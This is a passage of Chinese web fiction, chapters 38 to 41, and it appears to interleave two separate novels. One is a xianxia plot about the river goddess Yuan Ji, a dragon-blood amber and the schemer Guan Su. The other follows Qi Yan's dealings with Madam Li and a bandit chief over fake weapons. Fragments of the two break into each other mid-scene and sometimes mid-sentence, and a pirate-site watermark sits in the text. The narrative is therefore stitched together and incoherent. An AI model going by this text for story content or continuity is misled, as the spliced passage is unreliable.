关肃带着些同情地语气。“压制了这些人又如何,这天极宗的人乃至天下修士都将在我的控制之下,你又如何呢?” 亓官上眸光越发幽深起来,冷冽得如同高山寒冰。 “那我便屠尽这天下修士也无妨。” 他颀长的身躯牢牢将元吉笼罩在身后,替她挡去风雨,元吉只需安心融合她的记忆。 一切都交给他便好。元吉见过祁夫人很多次,所以一眼就认出来了。 在祁琰上京赶考后来高中的那几年,她所有关于祁琰的消息,都是隐身蹲在了祁府的屋檐下,听祁夫人与祁老爷说的。 不过像今日这般如此正式的见祁夫人,元吉还是第一次。 她回房间换衣服的时候本来是想逃的,后来一想自己逃了留着祁家一家人尴尬收场,她又在知府府衙不见踪影,怎么也说不过去,于是还是乖乖的,在正厅与祁夫人正式会面了。 只是这会面的场合,元吉有些捉摸不透。 祁夫人坐在主位上,祁琰就坐在她身边,两人手上都端着茶。 祁琰端着茶一直在喝,一边喝一边笑,恐怕是想起来方才元吉从河中爬起来时,怀里还揣着两条鱼。 而祁夫人,端着那杯茶已经一刻钟了,动也没动,就露出让人说不清是什么的笑容,分外慈祥地看着元吉,抿着嘴也不说话,让元吉有些无地自容。 祁琰一杯茶都喝完了,这两人还没说上话呢,他实在看不下去,于是把茶杯放下,道:“娘,您要是没什么事儿不如先早些回去睡吧。” 祁夫人摇头:“让我再和儿媳妇儿聊会儿。” 元吉:“???” 祁琰:“您来了这么长时间,一句话也不说,光盯着人家看了,她脸皮薄,等会儿就能给您看跑了您信不信?” 祁夫人立刻低头喝了一口茶。 元吉:“……” 祁琰叹了口气:“她叫元吉,是我……儿时的伙伴,尚且还不是您儿媳妇儿。” 祁夫人听见祁琰这么说,立刻放下了茶杯,皱着眉头苦着脸:“你还要玩闹到何时啊?城西头老张家的儿子就比你大三岁,孙子都快抱上啦!你再瞧瞧你!你别说儿子了,你连婚都没成!” 祁琰:“……” “琰儿,你不体谅我,你也体谅一下你爹吧,他已经快七十了,也不知能不能等到你成亲呀!” 祁琰默默地朝元吉瞧去,元吉立刻将背贴紧了椅子,看她做什么?!和她有什么关系啊奇怪了! 祁夫人将矛头从元吉的身上挪到了祁琰的身上,祁琰成功转移了祁夫人的视线,元吉才得以喝一口茶喘一口气。 祁夫人数落了祁琰许长时间,祁琰终于听不下去了,连忙道:“是,是,好,今年就成亲,您快回去吧,我再派人跟着您,省的路上不安全。” 祁夫人一听:“当真?今年就成亲?!” 祁琰点头:“是了是了。” 祁夫人立刻哈哈笑了起来,旁边的婢女连忙扶住她,就怕她一个高兴没看路,摔哪儿了。 吞月化作一道银光飞直亓官上掌间,势如破竹,轻轻一扬便劈开一道深壑。 突然间,一阵尖叫从身后传来打断了他的话语。 “啊啊啊!救命!就是怎么回事。” 阮玄新记得自己喝了口茶就失去了记忆,怎么再睁眼就见自己的叔叔伯伯们像个傀儡似的在地上蠕动,一时间窘迫记忆袭上心头。 自己好像在忘川边便是这样蠕动着试图逃脱魔狼追杀,等等!这难道是遗传!! 阮玄新被这个猜想吓得倒吸一口凉气。 更可怕的是自己居然剑指师父,简直大逆不道!这下,吓得他手中的剑一抖差点砸穿他的脚。 “师……”阮玄新刚想喊元吉“师父”,便觉一道“杀人”目光朝自己飞来,求生欲让他当即住了嘴,望着气场全开的亓官上委委屈屈道,“师、师公?” 亓官上:…… 身后眸子猛的一睁,扬手捂着他的嘴。唬得大汉立即改口,“摆件!你那还有摆件吗?我最近也魇住了,想要一个。” “给你。” 她伸出手去,赫然是一个九成像的木雕神像。“记住啊,这只是个摆件,不能说是……” “我懂。”大汉忙不迭点头,“不会被发现的。” 相似的话语不断重复出现. 阿统看着源源不断增加的信仰值,默默流泪。 元吉,它这次中的病毒好厉害。 然这一切元吉并不知晓,她看着关牧平拉着艾香来到自己面前,缓缓伸出手。 “河神大人,这个给您。” 第 38 章 第三十八章 第三十八章 “河神大人,这个给您。” 艾香怯生生地看了眼关牧平,在后者鼓励的眼神中将手向前递了递。 稚嫩的小手上,赫然躺着一枚小小的绣着一朵盛放的桃花的荷包。 那枚荷包只有掌心那般大小,针脚细密,想来缝制之人定是用了好些心思。 元吉低头立在她面前,清晨的暖阳斜斜洒在她白皙的面庞上,为她深邃的眼眸洒上一层柔和的光泽。 无妨,即使他们知道又如何。只要他听吩咐将那龙骨夺下,整个世界都将匍匐在他的脚下。 思量至此,关肃直了直身子,“你们阻止不了我!” 话音落下,他挥了挥手,数道天极宗弟子如鬼魅般涌现,带着必死的杀意,一道道冲向元吉, 而此刻,随着龙血的涌入,身体中更多沉睡的力量被唤醒,丢失封锁的记忆在此刻冲破限制,尽数回到元吉脑海之中。 周遭所有的声音都被屏蔽,静谧无声中,一道浅浅的呼吸便格外明显。 元吉犹豫一瞬抬步往那呼吸声出走去,冥冥之中,她好像知道等待自己的是什么。 “你来了。”“你方才分明瞧见了我,转身就走,难道不是躲我?”李夫人声音带着些许刻薄:“我知道,你元家家大业大,与我李家交好是我李家走运了,可前段时间咱们还一桌吃饭呢,转脸就不认人,未免也太伤感情了吧。” 元吉连忙摆手:“不不不,我没这个意思。” “那你是什么意思?” 元吉一时不知道如何解释,被李夫人逼得往后退了两步,无意间撞上了一个人。 李夫人神色一变,没说话。 元吉刚要转身道歉,便看见祁琰那张脸黑的难看,漂亮的眼中带着怒意,瞧向李夫人时半点儿也不客气:“李夫人,有话好说,何故要带着婢女一同欺负我家夫人呢?” 李夫人顿了顿:“元老板误会了,我怎么会欺负元夫人。” 祁琰伸手将元吉护在了身后,开口:“夫人身体未愈,送夫人回去。” 护卫丁立刻点头:“是。” 元吉还有些话要与祁琰说,刚拉着对方的袖子,祁琰就回头低声道:“你也是,身体不好还出来,若要找我,与下人说一声就是了。” 元吉:“……” 护卫丁道:“夫人,先回去吧。” 元吉这才慢吞吞地跟着护卫丁回去,留着祁琰与护卫乙二人站在原地。 祁琰道:“方才李夫人的所作所为,元某可都看在眼里了,元某为人并非正人君子,为了某些小事心里不痛快,做出什么过激的事情也是常有。元某起先以为李家可以交好,现在看来……呵。” 他说完,转身就要走,李夫人想要拦住他。 是她一时冲动,见到元吉就以为元吉病好了要躲她,没想到方才听两人的交谈,元吉似乎还在病中啊。 这元老板虽说看上去很好相处的样子,但也的确如同她家老爷所说的那样,心思深沉,城府太深,如若真的做出什么事来,以后赚钱的路子怕是要断了大半。 护卫乙拦住了李夫人的去路,道:“李夫人还是别跟过去了。” “方才只是误会,我想与元老板解释解释。” 护卫乙摇头道:“李夫人千不该万不该,就是不该欺负我家夫人。” 说完这句,护卫乙便转身跟在祁琰的身后走了。 李夫人站在原地,身后的两个婢女也不知所措:“这可怎么办呀,夫人。” “能怎么办?如若这姓元的连老爷的面子也不给,那咱们只能放弃这条大鱼了。”李夫人说完,头疼得很,也不远再逛下去,便要回家了。 祁琰回到了客栈,瞧见元吉就在大堂等着他,愣了愣,走过去问:“何事这么急?非得等着我?” 元吉朝祁琰身后看了一眼,知道李夫人没跟过来,于是压低了声音说:“你今日走了没多久,就有只鸽子飞到房间里来了。” “哦?有人传信过来了?” 护卫丙道:“应当是阿甲。” 元吉开口:“我怕鸽子太引人注目,便将信件摘下,鸽子放走了。” 祁琰点头:“先回楼上,再给我看。” 如若是护卫甲送信回来,那必然是大皇子那边有了新的进展了。 比龙息更早扑在元吉脸上的,是一股清甜的白玉糕的气息。 元吉:? “哦。你吃吗?”能一爪撕裂天空的龙爪上赫然躺着一枚精致的白色糕点,香气四溢,一口一个。 元吉:……? 元吉欲言又止,止言又欲。她看着这通身圆嘟嘟覆满金色鳞片正津津有味嚼着白玉糕的巨龙,心中某些信念有所坍塌。 她不能,不应该是这样的吧。 那巨龙眨了眨眼,低下头来轻嗅两下元吉,“不用担心,我只是一道残念。” “被困在那琥珀里这么多年我可太憋屈了,终于把你等到了。”巨龙缓缓站立起身,像是伸了个懒腰,金色的瞳仁锁定元吉。 “是我把你封印在这琥珀中的吗?”元吉仰头望着巨龙,这金色的身形好像在哪里见过。 巨龙闻言却摇头,它带着些俏皮,故意卖关子道:“不是哦。” “……”元吉眸子微眯,沉默着,就这般静静看着巨龙。 巨龙讪讪摸了摸鼻子,“呀哎,怎么这么严肃。” 它低头用额间蹭了蹭元吉的头顶,“其实你心里已经有一个猜测了不是吗?” 巨龙的鳞片是天底下最为坚硬的盔甲,也是最为锐利的武器,可此时,巨龙周身的鳞片已荡然无存,只是道道虚影附着在上头。 元吉目光一一扫过每片鳞片,细细瞧去,每片鳞片的边缘都泛着一层焦黄色。 朦胧的记忆在此刻复苏,巨大的刺痛感在魂海中肆意冲撞,元吉的魂魄被一寸一寸撑|大,可即便是精神力强如元吉也支撑不住如此多的记忆。 元吉脱力向下倒去,一道宽大的身影出现在她身下虚虚护着她。 正这时,淡紫色的光束在一点银色萤火的指引下没入元吉体内,化为一道坚韧的防护,紧紧将那失控的记忆重新收拢起来。 “原来他已经找到你了。”巨龙目光紧紧盯着那点银色萤火,眼中满是怀念,“现在该轮到我了。” 尘封的谜团逐渐露出其原本的面貌。 灵力催动,穆朝咬着牙努力传送着灵气,双手颤抖着不停,正要坚持不住时,一股蛮狠的灵力从背后传来。 穿过他的筋脉直达种子内里。 一抹绿色出现在众人眼前,随着快速发芽,长叶,抽枝,开花…… 不多时一颗成熟的植物出现在众人眼前。 穆朝定睛瞧去,整个人傻在了原地,他呆楞楞的看着自己的手,又瞧瞧极为正常的树木,又抬眼望去正捕捉昆虫的食人草。 他神情复杂地望向心满意足的元吉,沉默了。 或许导致植物变异的另有其人。 第 39 章 第三十九章 第三十九章 夜文术悄悄摸摸地背着身,拿着笔在帛纸上写写画画,一会凝眉思索瞥一眼元吉,一会望着祁琰面露微笑,不过多时,芭蕉叶大小的帛纸上已经落满了字迹。 为了早日把他和宣老欠河神大人的灵石还上,近日的他绞尽脑汁,手都快写断了。 偏偏他这话本的内容,大抵都是些“缠绵悱恻”、“惊天动地”的情爱故事,若是堂然皇之在众人面前展示出来,夜文术光是想想便觉得不如让自己去喂食人草来得痛快些! “我的个祖宗诶!总算快写完了。”夜文术舒了口气将笔搁下,掂量着手中一叠厚厚的帛纸,心情大好。 散修冷某——星月草。 他眸子微睁,目光在上头停留一瞬,旋即又快速挪开了视线。 亓官上全心全意地挽起桌上的茶海往那莲花茶盏中斟上一盏,好似先前寻找星月草的人并不是他一般。 清亮的茶汤中灵气氤氲,很快便在茶盏中凝出一道莲花来。 透着那茶香,关肃的目光扫射而来落在亓官上身上,若有似无地打量,他怎么觉得这魔界尊者的身上有着祁琰的身影。 定是他被气急了,祁琰的魂灯早就灭了,怎么可能是他。 关肃摇摇头,将这个想法丢到了脑后。他上前一步,扯出抹虚假的笑来,“河神可选好了?” 元吉指尖划过玉简,最终停留在一角落,“第三样,我便选这星月草吧。” “元吉,这星月草是安魂的,你怎么想选这个啊?”阿统望眼欲穿地盯着天极宗弟子给自己送云朵法器,一边疑惑问道。 “只是看这名字有趣罢了。”元吉收回手,语气淡淡,目光略过身后,兀得停在了那荷花茶盏上。 “这茶?” “观霞峰今年的新茶。”亓官上两指抵着茶盏将它推向元吉。 关肃迫不及待地上前一步,像是热情推销自家商品的店家,“今年最早的一批茶,早晨时刚采摘下来灵气最足,河神可尝过了。” 元吉似笑非笑地觑了他一眼,轻捻茶盏在手中转动两圈,略凑近些,清苦的香味顿时充斥鼻尖。 她指尖轻叩两下杯沿,荡出缕缕波澜。在关肃急切的目光中,元吉与亓官上视线交融一瞬,她将那茶盏重新搁置回桌上。 茶是好茶,可惜掺杂了点臭虫。 “不急,先看看那【龙血琥珀】。” 关肃笑意僵在脸上,却还得硬着头皮附和道,“这是自然。快将河神的彩头取来。” 关肃转过头朝一旁的弟子挥手,那弟子便倏地化作一道黑影离去。 他咬牙宽慰自己:也罢,待她显出原形,即便没喝这茶也无所谓。 不多时,一块红澄澄的琥珀石便被呈了上来,元吉定眼瞧去,只见那琥珀的中间莹着一汪金色的龙血,随着弟子的走动,琥珀中的龙血轻轻晃动,却在靠近元吉时,那龙血像是受到了召唤般沸腾起来。 “噌。”护卫丙问:“不等他们来检验?” “验什么?你脑子坏了?一验咱们还能走得掉吗?”祁琰白了护卫丙一眼:“我刚放出了消息,那凉寨主对我颇为信任,这些兵器做的以假乱真,只要不真的打起来未必能发现不对的地方,我方才放出了消息,要不了两个时辰,鹿蜂寨的人就会到,你去通知那边,让他们做好准备。” “是!” 祁琰与护卫乙、丁二人先往城中走,护卫丙使了轻功便往南侧去。 出了舟山的范围几人还不能松懈,等到了城中,护卫乙才松了口气,问祁琰:“大人,你在舟山上的那话说出口,当真把属下吓得不轻。” 护卫丁也点头:“是,我也懵了。” “凉寨主与我多次接触,大约知道我的个性,如若我不说出这句话,他反而要有疑心,去逐个检查了。” 护卫乙摇了摇头,心想他们家大人看人的本事还真是了不得,一捉一个准,不论是谁都能被他耍的团团转。 护卫丁突然开口:“啊,是夫人。” 护卫乙:“就你眼神好,哪儿呢?” 护卫丁指着一个方向,祁琰也看过去,果然瞧见了元吉。 只不过除了元吉之外,还有李夫人,两个人不知道在说什么话,总之李夫人瞧上去有些不开心的样子。 祁琰道:“走,过去看看。” 元吉也觉得自己有些倒霉了,才刚出门,就被李夫人捉了个正着。 她装病装了有好一阵了,李夫人虽然自己不来,但是李府的下人却是隔三差五就来问候,问问她何时能出门,好与李夫人一同说说话。 元吉知道祁琰想要摆脱李家,毕竟剩余的利用价值都没有了,再牵扯下去反而麻烦,故而在看见李夫人的时候,元吉掉头就走,结果李夫人又瞧见了她…… “妹妹,你身体好了?”李夫人上下打量着元吉。 元吉尴尬地笑了笑:“是,近日才稍微有些好转。” 李夫人道:“既然好了,那昨日为何与我府中下人道还不能下床?莫非是妹妹不想见我?” 周身的血液像是被它所呼唤,一瞬间,血液奔腾,耳畔似有阵阵龙吟。 “这是怎么回事?”元吉心中疑惑,为何她看到这龙血琥珀竟然有种心碎的痛感。“阿统,我究竟是谁?” 可从前只劝元吉做任务的阿统此刻沉稳了许多,它只道,“元吉,握住那龙血琥珀。” 纤长的指将那琥珀紧紧拢在手中,包裹其中的龙血更为激动,像是头莽撞的小龙疯狂以头撞击着牢笼。 “果然是她。”关肃眼神一暗,心中也迫不及待起来。光是那点碎角便有如此大的威力,那龙骨岂不是更所向披靡。 一时间,关肃的呼吸急促起来,眼神一错不错地盯着元吉。 而没有人察觉到,此刻在场静谧无声,连呼吸声都听不见一息。无数双眼睛在这一刻被黑色侵占,直直望向元吉,像是蛰伏在暗处的毒蛇,只待一声令下便冲出来撕咬猎物。 亓官上不动声色地在袖中捏出一个法诀,从未出现过的银色光芒被那墨色长衫遮盖,蓄势待发。 “咔擦。” 那数百年不曾被打开的琥珀竟在元吉掌心裂开,金色的龙血并不滚烫,像是离去许久而残留的温度,温温热热,又像是那条龙在弥留之际留下的眼角一滴泪。 金色的龙血在元吉掌心弥漫开来,却并未顺着指缝滑落,而是慢慢渗透进她的皮肉之中,金色与血色交融间,骨血疯长。 一丝丝,一缕缕,迫不及待。 漂浮的种子终于被那坚实的泥壤所拥抱,开始生根发芽。 元吉缓缓睁开眸子,与面前那虚幻的巨龙对视一眼,后者眼神晦明不清,只是眼中的伤感像是快要将它给淹没了。 它一声龙吟,盘旋起身后飞入元吉额心。 大量的记忆在魂海中复苏。 一瞬间,飓风而起,大片大片的乌云在一瞬间低垂下来,黑云压城,像是要将这一切都碾碎。 雷蛇察觉元吉气息一变,猛地自她臂弯往上爬去,拱起上身,蛇瞳竖成一道细线紧紧防备着那藏在乌云之中的东西。 “成了,哈哈哈哈哈。”关肃瞧见元吉一瞬间的眸色变化,顿时狂笑几声,眼底的欲|望汹涌澎湃。 他招了招手,阴恻恻道,“杀河神,取龙骨。” 话音落下,在场的数百位修士如同牵线木偶般僵着身体缓慢起身。他们以一种扭曲的姿势,一步一步朝着元吉走去,嘴里一同念到。 “杀河神,取龙骨。” “杀河神,取龙骨。” “杀河神,取龙骨。” “就是啊,这是贼喊捉贼吧!”燕枯上下打量了一眼他的衣着,眼底闪过一丝亮光。 他快速扭身,“河神大人,这人一定怀有不轨之心,我看还是要好好拷问一番。” 话音刚落,身后的孟有道兀得呼吸一滞,他起身冷哼一声,“把关儿的遗物还给我,别敬酒不吃吃罚酒!” 元吉轻笑一声,并未说话,只定定地瞧着他。 倒是一旁的艾香突然像是被点燃了脾气,小小的身躯爆发出一声怒喝。 “你说的不对!” “这是我娘的,不是你的!” 第 40 章 第四十章 第四十章 艾香这话一说出口,犹如往平静无波的湖中投入一块巨石,惊起了层层波澜。 “你说什么?”孟有道不敢置信地望着艾香,整个人有些癫狂起来,“你说这是你娘的?” “你娘是不是叫关儿!”孟有道的嗓门极大,他从未想过关儿会有孩子。他踉跄往艾香方向走来,肩头的辣椒粉簌簌往下直落。 艾香瞧着他这幅模样,心中害怕极了,不住地往关牧平身后躲去,“平平。” “别怕。”关牧平安抚性的拍了拍她的肩膀,整个人往前一步挡住孟有道探究的目光。 记忆之河继续前行,再次停下时,周遭的环境陡然发生巨变。 青翠的枝叶如同被火燎过一般变得姜黄,目之所及,寸草不生。龟裂的泥地上处处是因干旱而渴死的尸体,横七竖八地躺在那,仍由毒辣的阳光炙烤。 光是吸一口气,都觉得整个肺腑被烈焰灼烧了一般。 “元吉,师父他们皆以身祭道以维持着整个世界的安稳,如今灵气枯竭,也该是我去修补那天道了。” “住口!”“元吉”有些恼怒地将手中的白玉糕砸回阿上怀中,“你还是条小龙,能有多少灵力。” 她暴躁地甩动着长尾,一下又一下。 突然她抬头看着那幽幽夜幕,突然间像是明白了什么。 她自天地而成,汲天地灵气孕育成龙,普天之下,唯有她的灵气是最浓郁的。 补天道,也该是由她去。 元吉张了张嘴,刚想说些什么,便觉周身一紧。 “我不小了。”阿上叹了口气,已经比元吉高出无数的他此刻能轻松地将元吉拥入怀中,他低头将下颌抵着元吉的墨发,低声道。 “元吉,修补天道是我族的命运。待灵气恢复,你要快活地去当河神,去听风吟,去沐浴阳光,去躺在溪水间嬉戏……” 你若是祭天道,我怕是会疯。大雨一连下了好几天,但是并没有妨碍知府剿匪的脚步,兵队一路往舟山南侧走去,途中有不少收获。 鹿蜂寨依旧被困山中,即便如此,他们倒也过得清闲,一来,凉寨主接受了祁琰的建议,想要坐收渔翁之利。二来,他也并非与外界隔绝,祁琰每回给他送米粮的时候,都会带来一些外界的消息。 就比如雨停的这日,祁琰上山的时候看见凉寨主,立刻就对他拱手道:“恭喜凉寨主了。” “怎么?”凉寨主与祁琰几番较量,已然对这人颇为信任,加上祁琰并不是一股市侩的商人气息,天生带了点儿痞性,很合凉寨主的眼缘。 祁琰道:“我方才来的路上就已经听说了,这兵队与舟山南侧的正在对抗,两方焦灼了几日,胜负就在今日定下。” “哦?这么说,我倒是可以一展身手了。”凉寨主立刻站了起来:“元老板说的兵器,何时能到?” “凉寨主以为,我今日过来当真只是为了送米粮?”祁琰说完这句,凉寨主立刻哈哈大笑了起来,一手插着腰道:“快带我去看看兵器!” 两人出了大门,便直接走到了院子里,两车兵器放在了院中,那兵器被厚厚的油布包裹着,看上去大约有五十多把。 凉寨主问:“如何只有两车?” 祁琰道:“这几日接连下了大雨,山间路不好走,我带的手下不够,只能推两辆车上来,山下还有十辆车,刀枪棍棒都有,就看寨中的兄弟合适哪样了。” 凉寨主朝陪同祁琰一道上山指路的小弟瞧去,那小弟连连点头:“是了,债主,我瞧见了,还有十余辆车呢。” 祁琰笑了笑:“凉寨主不放心也是应当的。” 凉寨主听到他这话的意思,就知道他心中有些不快,于是连忙开口:“只是我这手下不会做人,我并没这个意思,元老板与我做了几趟生意,甚至给我带了不少消息过来,又为我献计,我如何能不相信元老板。” 祁琰给了护卫丁一个眼神,护卫丁立刻打开了其中一辆车子的油布,车内放着的兵器正在干燥的草堆中,祁琰随便抽出了其中一把,那刀身铮亮,刀口锋利,看上去倒是不花哨,确是个实用的。 祁琰道:“随便哪一位拿自己的兵器上来,可以试试我元家的兵器如何。” 方才开口说话的小弟这回倒是胆子大,拔起自己腰中的长剑就要过来,长剑刺向了祁琰,祁琰拿起刀身挡住,而后往那长剑上一砍,剑立刻就断了,那刀却是没有半点儿问题。 凉寨主立刻鼓起了掌:“好,元老板当真是说到做到。” 祁琰将刀放了回去:“凉寨主是否可以交钱了?” 凉寨主立刻点头:“来人,把我准备好的银子给元老板带回去。” 祁琰开口:“不急,山下还有十车,可要派人与我过去一一检验,只要有一把出了问题,元某分文不要。” 祁琰说出这话,站在他身后的护卫乙立刻流了一头的汗。 凉寨主见祁琰站的笔直,胸有成竹的样子,于是大手一挥:“不用看,我信元老板的为人。” 如若他真的敢缺斤少两,也不会说出分文不要这种话,这话瞧上去是自负,实则凉寨主知道,他有这个能力做到。 米粮的事如此,兵器亦是如此。 祁琰对着凉寨主拱手:“多谢信任,那我便与凉寨主再卖个人情吧。” “哦?” 祁琰笑道:“方才我上山之际,瞧见了此山山下的官兵撤去了一半,我亦说了,知府的兵队与舟山南侧的那窝争斗了数日,今日会有了断。我想鹿蜂寨山下的兵撤了,便是最好的证明,那边兵力不足,肯定战火交融,凉寨主此刻再不动手,还等何时?” 凉寨主一听,立刻扬起了手中的大刀:“兄弟们!听见了没有?鹿蜂寨成为舟山一霸,就看今日了!来,十几个兄弟下山将那堆兵器推上来,咱们沿山后往南走!” 听见这话的鹿蜂寨弟兄们纷纷举起了手,有兵器的挥舞着兵器,没兵器的便挥舞着脱下来的外衣。 一时间人声鼎沸,祁琰与护卫乙、丁二人见他们如此,便知道计划成了。 凉寨主的银子拿到,祁琰便对他拱手道:“既然凉寨主要办大事,元某就不变叨扰,祝凉寨主凯旋归来,届时若还想找元某做生意,可到李老板那儿寻我去。” 凉寨主哈哈大笑:“好好好!这种场合,你这样的文人的确不能待着,快速速下山去吧。” 祁琰微微一笑,转身带着两名护卫一同下山,走到山脚下,与看守十车的护卫丙相遇。 阿上低垂眼眸,掩盖住那眼中的疯狂。 目睹这一切的元吉不由得咬紧了牙关,垂在身侧地指节因太过用力而泛白,元吉却浑然不觉。 什么命运,她从来不信命! 亦如她想,记忆中的元吉同样丢下这样的话术。 “命!我从来不信!我只信我自己!” “补天道,我去。” “我会回来的。” “元吉”信誓旦旦,可面前的阿上眼中却流露出一份悲伤来。 下一瞬,元吉眼睁睁地看着自己的身影缓缓滑落,跌入阿上的怀中。 而后者像是捧着天地间至宝似的将“元吉”带入后山禁地。 “她爹说我有病,把我轰走了。” “不过确实我当时身上的伤还没好。关儿说她做出了能下水自动捕鱼的机关,我帮她去试。结果被水里发狂的魔兽啃了半条腿……” 众人的目光顿时齐齐往下望去,啧啧称赞:肌肉饱满的样子着实看不太出来啊。 “等我养好伤再去找关儿,才发现,她们连夜搬家了。后来我便一直在寻他们。” 夜文术一脸唏嘘地上前拍了拍他的肩膀,不知该如何安慰。 “往好处想想,傻人有傻福。” 孟有道:?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第 41 章 第四十一章 第四十一章 “说不定人家是想放你一条生路呢。” 燕枯语重心长道。毕竟按这故事发展下去,孟有道不死也得残啊。 孟有道不明就以,仍是一脸踌躇。 倒是一旁的穆德忠想起了什么,落在孟有道身上的神情极为复杂。“你说的关儿…不会是飞云城关家的那个吧?” 元吉听到他话中的“飞云城”,眸光流转片刻。“穆家也在飞云城。” 土地神曾和元吉说过,吴州无山神,不过在几十年前却并非如此。 要说到元吉这个河神总给土地神找麻烦,而土地神竟然总是护着她,倒不如说土地神这好脾气完全是被吴州之前的山神给磨炼起来的。 吴州环城河水环绕七城,而城外尽是山,山峦叠嶂几百里,统一称为舟山。 舟山上的山神是个混不吝的性子,多次给土地神找麻烦,无聊的紧了,就困一两个上山的人玩儿,看他们在山间找不到出路还挺高兴的样子。 有时还躲在林子里学一两声狼嚎,愣是把上山砍柴的大汉给吓哭了,这才觉得有趣。 每次土地神见他惹是生非,就要弯腰驼背,一把老骨头上了舟山,到处去找对方。 等找到那人了,这才一手叉腰一手指着他:“为什么吓人?” 对方理所当然:“好玩儿啊。” “我们是神仙,护一方水土,百姓安康,哪儿有你这样,没事儿找事儿,人家砍柴的也不是第一次上山了,回回上来回回哭,人招你惹你了?”土地神说完,抬起拐杖就要往对方膝盖上敲。 那人毫不在意,高高的个子弯下腰来,俊美的脸上还挺不在意:“吴州不是挺好的吗?也没闹什么灾祸,你看城里面的人,最大的问题就是他家养的鸡被他家的狗给咬死了,我不给自己找点儿乐子,这几百年怎么熬啊。” 土地神又是两拐杖过去:“找乐子!找乐子!我说你怎么当上山神的啊你!” 那人眨了眨眼睛,伸手指向土地神:“你钦点的啊。” 土地神一手拍着额头,转身欲哭无泪,只说:“等你真的遇上麻烦就知道难了。” 那人对着土地神的背影挥了挥手:“常来玩儿啊。” “唉,我真是倒霉催的,又当爷爷又当爸,即是上级也是妈,苦哦……”土地神下了舟山,就要去城里的月老庙找月老诉苦。 月老是个酒鬼,整天整天喝醉,土地神找到他的时候他还在酒罐子里埋着头,一口酒喝完打了个饱嗝,听见土地神的抱怨后,摸着胡子笑呵呵地说:“有何关系?给他找个媳妇儿呗。” 土地神双眼一亮,矮胖的身体往月老身边靠了靠:“哎?你有办法啦?给他找媳妇儿倒是不错啊,他正值壮年,娶个媳妇儿回去约束着,能给我省不少事呐。” 月老嘿嘿笑着:“还是我有办法吧?” 土地神跟着点头:“有办法有办法,那找谁好呢?” 月老长长地嗯了一声:“寻常人家肯定不行,他若爱上凡人,得遭雷劈的,你看着他长大的肯定舍不得,那就找个地方神仙。” 土地神掰着手指头数:“地方神仙只管地方辖区,出都出不去的,咱们吴州的城隍、灶君、门神……大大小小都到齐了,没一个是女的啊。” “男的也行。”月老抿嘴笑。 土地神一拐杖过去,月老连忙摆了摆手:“不是还有个河神位置空缺嘛,你是土地,这一片地方小神都归你管的,等你选好了人往上头递个折子就好了。” 土地神伸手捏着下巴上的胡子,皱眉有些犹豫,拿起桌上的酒喝了一口,眯着眼睛道:“可是环城河绕七城,不是个小河,若不是心无杂物,心思纯净的人,我怎能随意将这位置给她呢。” 月老提起酒壶站起来就要走:“那就是你的问题咯,等你选好了人,我给他俩牵个线,届时你当轻松不少。” 土地神酒醒之后思前想后的,觉得这办法可行。 不过又过了没多久,舟山上来了第一帮山匪,山匪大约只有十几人,从外头来的,手里拿着刀剑,专门抢入城或者出城的商贾,再后来百姓也跟着抢,且加入山匪的人越来越多。 直至后来几十上百人了,舟山上的山神终于坐不住了,还是头一次跑下舟山,到土地神跟前打算商谈此事。 当时的土地神正在翻阅吴州各处的姑娘家,看看有没有心底淳厚之人可以给山神当妻子的。 山神盘腿坐在了土地庙跟前,石头堆砌的土地庙前还有两个桃子,他直接拿了就吃。 土地神哎了一声:“那是我的。” 山神皱眉,脸上有些严肃,只道:“这样不行啊。” “什么不行了?”土地神问他。 山神说:“山上来了山匪,我想打他们啊。” 土地神连忙摆手;“不可,你是神仙,不可对凡人动手。” 山神啧了一声:“可是他们人越来越多,短短半个月就从十几人壮大到如今地步,时间再长,保不齐得成百上千人,届时吴州百姓还不遭殃?你都说了咱们是神仙,得护着一方百姓,我虽为山神,只能产出山珍野味,药材石煤等供他们用,却不能在他们真正受难时帮上一把,还算什么神仙?” 土地神丢下手中的‘花名册’,连忙过去握住了山神的手:“不要激进!凡人的事,只能由凡人来解决。” 山神歪着头,思索了会儿才问出口:“你是不是劝我当凡人?” 土地神连忙往后退一步:“谁劝你当凡人了?!你当个山神都当不好当凡人又有何用啊?!你别给我打那些歪心思我告诉你,你已经是神仙了!当凡人的事情想也别想!就算成为凡人你也会忘掉现在说的这些话!届时平凡度过一生,搞不好还被舟山上的山匪给抢个十回八回的!” 山神从土地神的一串话中找到了重要信息:“所以……我能成凡人?” 土地神面无表情地看着他。 山神嗯了一声,慎重地说:“你应当也看见了,昨天他们杀了第一个外来百姓,接下来还会有第二个第三个,时间长了就是第一百个第二百个,我不允许他们在我管辖的山中放肆,也不允许他们在我看见的地方杀人。” 土地神吞了吞口水:“你别做傻事啊。” 山神扶着土地神的肩膀:“两条路,要么告诉我成为凡人的方法,要么我现在就去杀了那帮畜生,大不了我再受个天谴什么的。” 土地神一拍脑袋:“我怎么就让你当了山神了,作孽啊!” 山神知道土地神这回是有所决断了,于是笑了笑,一排牙齿露出来眉眼弯弯倒是煞是好看,他说:“可能是你见我长得帅?” 土地神一脚踹在他的小腿上:“滚滚滚!” 然后,吴州的山神投胎去了。 月老听见这个消息的时候愣了一下,嘴里含着的酒霎时间就喷了出来,他颤抖着手指向土地神:“你让他投胎去了?!” 土地神长长地叹了口气:“向上头请示了,上头表示他这么做很好,要嘉奖……” 月老伸手抓了抓头发:“这还叫好呐?哪儿有神仙为了杀山匪跑去投胎的啊?” 土地神扯着嘴角:“我家这小子不就开创了先河了?唉……” 月老搞不懂,摇了摇头问:“那上头给他什么嘉奖啊?” 土地神哦了一声:“京城首富之子。” 月老:“……” 半壶酒后,两人都醉了,抱在一起你哈哈笑了起来,月老问:“京城首富叫什么来着?” 土地神摇头:“我也不知道啊,就听说是姓祁,若有机会见到我就能认出他来了。” “你靠什么认?” “靠他那股子无赖劲儿。” 作别了月老,土地神晃晃悠悠地准备回庙里好好睡一觉,才走到河边,就看见月光下的河面上漂浮着什么。 土地神揉了揉眼睛凑过去仔细瞧了瞧,才瞧出来这是个十六七岁的姑娘家,不过她浑身上下都泡在水里,胸前没有起伏,显然是已经溺水而死了。 土地神对着尸体摇了摇头:“唉,多少年没出现过有人溺死的事儿了,若我这河里有河神,当不会如此啊。” 土地神回去睡了一觉,次日午时才醒,醒来之后瞥了一眼外面,昨夜见到的那名女子的尸体还在那儿,就这么飘在河中,也没沉入水底,也没随波逐流,就连尸首都没有泡肿,鱼虾蟹见到了也绕着走。 土地神嘶了一声,只觉得奇,一连三日看见她还在那儿,这才恍然明白了什么。 